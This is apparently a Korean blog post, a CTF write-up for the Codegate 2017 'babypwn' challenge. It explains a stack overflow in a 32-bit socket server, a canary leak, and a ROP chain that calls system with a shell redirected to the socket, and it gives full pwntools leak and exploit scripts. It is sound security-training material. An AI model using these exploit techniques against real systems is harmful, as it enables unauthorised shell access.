티스토리 뷰
[Codegate 2017] babypwn write-up
코드게이트 본선에 가고싶다..
열심히 준비해서 꼭 본선진출하면 좋겠다.
babypwn을 풀면서 소켓 payload 짜는 데 도움이 된 것 같다.
아직 잘 모르겠다 코드게이트2018에서 문제를 풀 수 있을지.
그래도 최선을 다해 준비해야겠다.
먼저 바이너리는 인터넷 상에서 구했다.
파일을 실행하면,
\
이러한 내용이 출력 된다.
1은 echo이고
2는 reverse echo를 해주는 프로그램입이다
3을 입력하면 종료다.
file
elf 32bit이다.
분석
메인 함수이다.
포트가 8181이다.
소켓프로그래밍이 되어있다.
빠르게 취약점을 찾아보겠다.
first_8048B87 함수를 보겠다.
밑에
함수 3개를 쫘르륵 호출을 하는데
그중에서 두번째가 의심스러워 may로 rename했다.
may함수이다 프로그램을 실행시켰을때와 같은 내용들이 있다.
여기서 bof취약점을 쉽게 찾을 수 있었다.
먼저
v2는 ebp-0x34에 있는데
0x64만큼 입력을 받을 수 있으니 bof가 발생한다.
이를 이용해서 ret값을 조작해 원하는 행동을 할 수 있다.
checksec
취약점을 찾았으니 payload를 짜기전에 어떠한 보호기법이 걸려있는지 확인 해보겠다.
NX와 CANARY 활성화되어있다.
NX가 활성화 되어있기 때문에 쉘코드를 사용하지 못한다.
따라서 ROP로 풀어야 한다.
CANARY가 활성화 되어있는데, BOF로 leak해주면 된다.
CANARY leak
ret을 조작하기 위해서 canary를 우회해야한다.
v3가 카나리인데
v3의 위치가 ebp-0xc이다.
0xc = 12 , ebp-12
v2의 위치는 ebp-0x34이니
0x34 = 52, ebp-52
입력을 40개 받으면 카나리 인것을 알 수 있다.
하지만 카나리의 첫 바이트는 널 \x00이기 때문에 40개 입력받으면 카나리를 leak하지 못한다.
\x00을 만나면 문자열의 끝인 줄 아니까.
그래서 41까지 입력을 하고 \x00 + 나머지 3바이트 로 leak을 할 수 있다.
아래는 leak.py이다
leak.py
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import *
s = remote('localhost',8181)
print s.recvuntil("menu >") s.send('1\n')
s.recvuntil(": ")
pay = "A"*41 s.send(pay) print hexdump(s.recv(1024)) |
따라서 0xea5ce000 이 canary임을 알 수 있다.
시나리오
소켓 통신이기에 recv로 bss영역에 cmd를 적어놓고
심볼에 system_plt가 있기 때문에 바로 쓰면 된다.
따라서 recv_plt | ppppr | 4(소켓 디스크립터)| .bss | len(cmd) | system_plt | dummy | .bss
하면 될 것 같다. 아래는 exploit 코드이다.
exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import *
s= remote('localhost',8181)
canary = 0xea5ce000 bss = 0x0804b1b4 ppppr = 0x08048eec recv = 0x080486e0 system = 0x08048620 shell = '/bin/sh>&4 <&4'
print s.recvuntil("Select menu > ") s.sendline("1")
pay = "A"*40 pay += p32(canary) pay += "A"*12
#ret pay += p32(recv) pay += p32(ppppr) pay += p32(4) pay += p32(bss) pay += p32(len(shell)+1) pay += p32(0)
#system
pay += p32(system) pay += "AAAA" pay += p32(bss)
s.sendlineafter(': ',pay)
s.sendlineafter('> ','3') #after exit(), send cmd s.sendline(shell) s.interactive() |
쉘을 얻었다. 코게 본선에 가고싶다..
'pwnable > CTF write-up' 카테고리의 다른 글
[trustealth]easy write-up (0) | 2018.05.13 |
---|---|
[CSAW2013] Exploitation-1 write-up (0) | 2018.05.12 |
[Codegate 2018] betting write-up (0) | 2018.05.12 |
[Plaid CTF] ropasaurusrex write-up (0) | 2018.01.29 |
[Defcon CTF 2015 예선]babycmd write-up (0) | 2018.01.26 |
- 본선가고싶다
- TLS
- hacking
- oob
- codegate
- overflow
- HackCTF
- ebp change
- stack reusing
- fsop
- exit
- heap
- 해킹
- srop
- shellcoding
- FSB
- pwnable
- fastbindup
- glibc
- tcache
- SQLi
- fastbin
- pwnable.tw
- rt_sigreturn
- pwable
- Total
- Today
- Yesterday